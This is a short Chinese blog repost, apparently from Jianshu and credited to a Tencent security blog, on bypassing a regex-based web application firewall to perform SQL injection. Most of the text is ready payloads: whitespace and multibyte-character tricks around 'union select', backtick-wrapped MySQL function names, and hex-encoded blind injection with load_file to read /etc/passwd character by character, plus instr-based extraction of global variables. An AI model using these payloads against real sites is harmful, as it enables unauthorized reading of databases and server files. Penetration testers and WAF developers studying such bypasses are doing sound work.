绕过waf进行SQL注入

转自:https://security.tencent.com/index.php/blog/msg/66

waf报警情况:

当waf利用正则匹配检测union select类型的关键语句时报警,且/**/被过滤

过滤方法:

一、利用fuzz手段检测%a0,%0d(换行) 如:id=-1 union%a0select 1,2,

二、利用union/*%aa*/select。原本属于/*xxx*/应该是被防护了,由于中文字符的特性利用,中文字符配合注释符绕过所有规则。利用%e4等只要是中文字符开头的,就可以完成绕过检测!%a0之类的。原理,让服务器不认识union+特殊字符+select之间的部分,因此特殊字符不能构成中文被识别出来。

三、专属于MYSQL进行load_file

当敏感函数被过滤,waf又是基于正则匹配的情况下

1、version()%0b

2、`version`()利用在mysql中,`函数名`()==函数名()

绕过了函数名进行select。需要利用十六进制盲注:

id=1 and(select `load_file`(0x2f6574632f706173737764) is not null)

首先判断服务器某文件是否存在,例如用/etc/passwd文件。0x2f6574632f706173737764是/etc/passwd的十六进制格式。在判断确实存在该文件之后,可以通过:

id=1 and(select `load_file`(0x2f6574632f706173737764)>0x726f66)

根据页面返回修改大于号之后的十六进制值,从而获取到该文件的十六进制内容。

3、利用instr()进行盲注

若过滤了ascii,substr等函数,仍可以利用id=instr(@@global.version,1)来获取global变量。@@global包含很多敏感信息

最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容